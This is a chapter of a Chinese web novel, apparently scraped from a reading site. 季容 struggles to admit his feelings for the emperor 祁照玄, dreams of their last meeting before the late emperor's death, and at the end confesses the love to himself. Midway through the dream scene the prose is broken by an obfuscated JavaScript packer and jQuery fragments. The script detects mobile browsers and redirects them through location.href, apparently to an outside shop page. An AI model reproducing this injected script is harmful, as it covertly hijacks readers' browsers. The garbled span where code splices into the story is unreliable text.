17.Chapter 17

作品:《佞臣被新帝觊觎后

    承认你自己的心意这很难么?


    很难么?


    季容想,的确是挺难的。


    而且他也没怎么搞明白。


    樊青重新坐好,认真问道:“来,你说,你犹豫的点在哪儿。”


    “我只是没明白,如果是真的,那么是什么时候发生的转变呢。”


    樊青刚一张嘴,便被季容先一步预判到了:“你先别说话,听我说完。”


    “我奉先帝之命,在他十二岁的时候被封为太子少傅,教了他两年有余,在他十四的时候便没继续了。”


    “我的确在往后两年如你所说一直有派人密切关注着他,但这之中绝对不包含一点你说的那个意思,仅仅是我看他可怜,所以可能更像是兄长对弟弟的关怀。”


    季容在慢慢盘时间线。


    “他十八十九岁的时候,我那个时候特别忙你也知道,我没什么空闲时间再去关注他,因此差不多那两年我是没有和他有接触的。”


    “如果真像你所说,变质的转折点在哪儿呢?”


    季容蹙眉道:“我真的想不明白,樊青。现在来说,好像已经不是那种纯粹的兄长对弟弟的关系,反倒是的确有一点……”


    他没再继续说,就停在此处。


    “唔。”


    樊青在思索。


    “我大概明白你的意思了,”樊青说道,“那你再想想呢,有没有遗漏什么,你也说了这几年你很忙,说不定你忙忘了呢。”


    “怎么可能忙忘了这种事情。”


    樊青:“你想想。”


    想想。


    季容强迫自己开始回忆。


    樊青怕热,见季容一副短时间都想不到的样子,干脆跑去了冰盆边上蹲着,小厮都被遣走了,只能自力更生地拿了个扇子扇风。


    季容咬着嘴唇,思绪发散。


    思绪游荡了许久,还是抓不住关键的地方。


    樊青已经等的很无聊了,随口聊着其他的事情:“你现在在民间又是一个死人又是臭名昭著,前一个不说,后一个就真这样放任不管吗?”


    季容不怎么在意地道:“随便吧。”


    “这怎么能随便,你是想遗臭万年吗?”


    樊青打了个哈欠:“别想了,有什么好想的。”


    “就拿书铺伙计的话来说,”樊青狡黠地笑道,“情不知所起,亦不知所终,有什么好纠结的,你自己明白这份心意是否属实,不就得了。”


    季容:“……”


    不提还好,樊青一提此事,他现在满脑子都是那本破话本。


    “走了。”


    季容起身,在樊青这儿也找不到答案,他懒得继续在这儿待着了。


    樊青不想出去受热,蹲在冰盆边没挪窝,挥了挥手就当作是送别了。


    外面炎热,从樊青这儿出来后季容也没别的地方可以去,于是只能再次回到了行宫的帝王居所。


    祁照玄还是陷在昏迷中未醒,季容坐了一会儿,困意也慢慢蔓上心头,趴在小几上,睡了过去。


    ……


    他做了一个梦。


    梦境是有些扭曲的,可视范围就只有以他为中心的一小点儿位置。


    周围黑雾缭绕,浓雾随着他向前走去而渐渐散去。


    前方阴黑的雾中似乎传来了谈话声,听着声音似是耳熟,可却一时半会儿想不起来。


    “前几天那季容提出的改革你怎么看?”


    “能怎么看,恶人做恶事,无非就是想拉拢贵族好谋利,”说话者嗤笑一声,“可得防范着,不能让这利都进了季容一人的口袋里。”


    季容听到这儿终于想起来了。


    难怪方才想不起来,这两人一年前便因和他对着干被他弄死了。


    做梦怎么还梦到这种晦气的人。


    面前有一棵树,季容借着树遮挡身影,没记起来这是那一年的事情。


    毕竟这几年看他不顺眼的人多了去了,当着他面或是背对他暗地里说小话的人数不胜数,他总不可能每一个都记在心中吧。


    “简直是为非作歹,魏老好歹是三朝元老,昨日季容竟直接剥夺了魏老手中权力,强制让人辞官还乡。”


    另一人附和道:“说是自愿告老还乡,谁不知道就是季容从中作祟。”


    季容想起来了。


    他站在树后,不动声色的静静听着,明明现在内心没有一点波澜,可却有一种似有似无的愤怒涌上心头,却也并不明显。


    季容琢磨了一下,觉得这股情绪大约是当年的自己。


    毕竟是梦,还原的是当年的心境,而不是现在。


    百炼成钢。


    季容早就已经不会再因为这些东西而情绪波动。


    他隐隐约约记得这日接下来后面发生了什么。


    随着这两个人的谈话,不知何时不远处有脚步声渐渐而来。


    不知怎的有些闷热,季容手中折扇展开,轻扬扇子带起了些许的微风。


    那两个臣子的谈话声戛然而止,季容抬眸望去。


    十九岁的祁照玄身形已然高挺,曾经的青涩稚气早已褪去,身形挺拔如松,肩宽窄腰,眉目间已有了沉稳的棱角。


    唯独没变的,是祁照玄那数十年未变的苍白肤色。


    两人对视一眼,显然未曾料到会被太子撞见,有些心虚的规矩行礼。


    “尔等既身为朝臣,不思恪尽职守,各守其分,反倒背后私议重臣。”


    祁照玄语气森然:“不知全貌便随意议论,这便是两位的为官之道?”


    那两名臣子额上浮着冷汗,不知是何处地方惹到了太子的不喜。


    嗫嚅着嘴皮道:“太子殿下教训得是,臣等日后定当谨言慎行,万不敢做这等不合规矩礼仪之事。”


    梦中身体不受他的控制,待那两人走后,季容对上了祁照玄那深不见底的幽深瞳孔。


    瞳孔中闪烁着他看不懂的情绪,季容立在原地,言行皆不受他所控,只能眼看着祁照玄向他走来。


    祁照玄走至他面前,低声唤道:“相父。”


    他听见曾经的他温和地说道:“殿下,臣早已不是少傅,担不起这个名号。”


    许是曾经有几年情谊,他劝道:“陛下不喜殿下与臣走的太近,殿下下次还是莫要帮臣说话了。”


    “孤不愿。”


    “凭什么,”祁照玄说道,“明明你只是奉命行事,凭什么他们身在局外便可以不分黑白随意评论。”


    “这并不重要,”他道,“为君者,为臣者,各有使命。我既身为臣子,便理应为君效劳。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076812|194778||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“其余人如何评价如何说,对我而言并不重要。”


    话到此,他自嘲般笑了一声:“君王怎么会出错呢。”


    君王怎么会出错呢,错的只有没及时进谏的臣子罢了。


    史书易改,千百年后,罄竹难书的只会有他。


    他看见祁照玄的神情隐忍,仿佛不愿听见他的这句话。


    浓雾再次席卷而来,淹没掉了梦中的一切。


    季容若有所思。


    若没记错,这好像是在先帝死前,他和祁照玄的最后一面。


    再之后,便是他被祁照玄迷晕,囚禁于乾清宫中,直至今日。


    ……


    梦中祁照玄的那张脸刚消失在眼前,季容醒来,一睁开眼临面对上的又是那张熟悉的脸。


    他不知不觉地睡过去的,自然也不知道何时祁照玄竟醒来了,且就还坐在他的面前,目光一错不错地盯着他,像是虎豹锁定了猎物。


    季容动作一顿,而后若无其事地撑坐起来,自然地问道:“伤口怎么样了?”


    他已经不着急了,山谷底下之所以那么着急,不过是怕伤口恶化,现在上来后,太医院的太医医术精湛,没什么好担心的了。


    祁照玄答非所问:“相父身上有伤么?”


    “没有。”


    “从那么高得地方落下来,一点儿伤都没有么?”祁照玄有些不信季容的话。


    这句话一出,季容却陷入了沉默。


    他能怎么说。


    季容有些心不在焉。


    虽然祁照玄掉下悬崖的时候是半晕着的,但似乎是出于身体的本能,在季容抓住他手的瞬间,反客为主,将季容圈在了他的胸前,牢牢护着,基本没有受什么伤。


    只是他也不知道为什么这样情况下他还能失去意识。


    也因此,祁照玄身上才那么多大大小小的伤口。


    季容再次否认:“没有。”


    “听李有德说,是落进水中了?”


    仿佛在山洞里醒来的时候没有理智一般,祁照玄现在才后知后觉地问出这个问题。


    “嗯,”季容点头,“樊青把我们捞上来的。”


    得到肯定的答案后,祁照玄的脸色突然变得很难看,但没过一会儿,便恢复如常。


    祁照玄看着他。


    两人对视许久,季容先受不住了,率先移开了视线。


    他刚站起身,却被祁照玄一把拉下,被迫又坐了回去。


    右手明明还有伤口,力气却并不小,攥得季容的手腕发疼。


    “季容,你为什么不跑?”


    祁照玄的声音很低,视线也错开了,他垂着眸,像是不敢得到答案。


    而季容平静道:“不是你说,跑了就不给我安生日子过么。”


    语气平静,内心却并不平静。


    季容挣脱开祁照玄的束缚,起身向外走去。


    夏日炽热的阳光照在人身上,炎热席卷全身,眼睛也被灼烈的光线刺得睁不开,连风拂过,都是闷热的空气。


    为什么不跑。


    一直不敢面对的心意在此刻到达高潮,身体的一切都在叫嚣,而他终于承认。


    季容抬手遮挡着烈日,突然冷笑一声,莫名觉得好笑。


    我竟然真的喜欢他。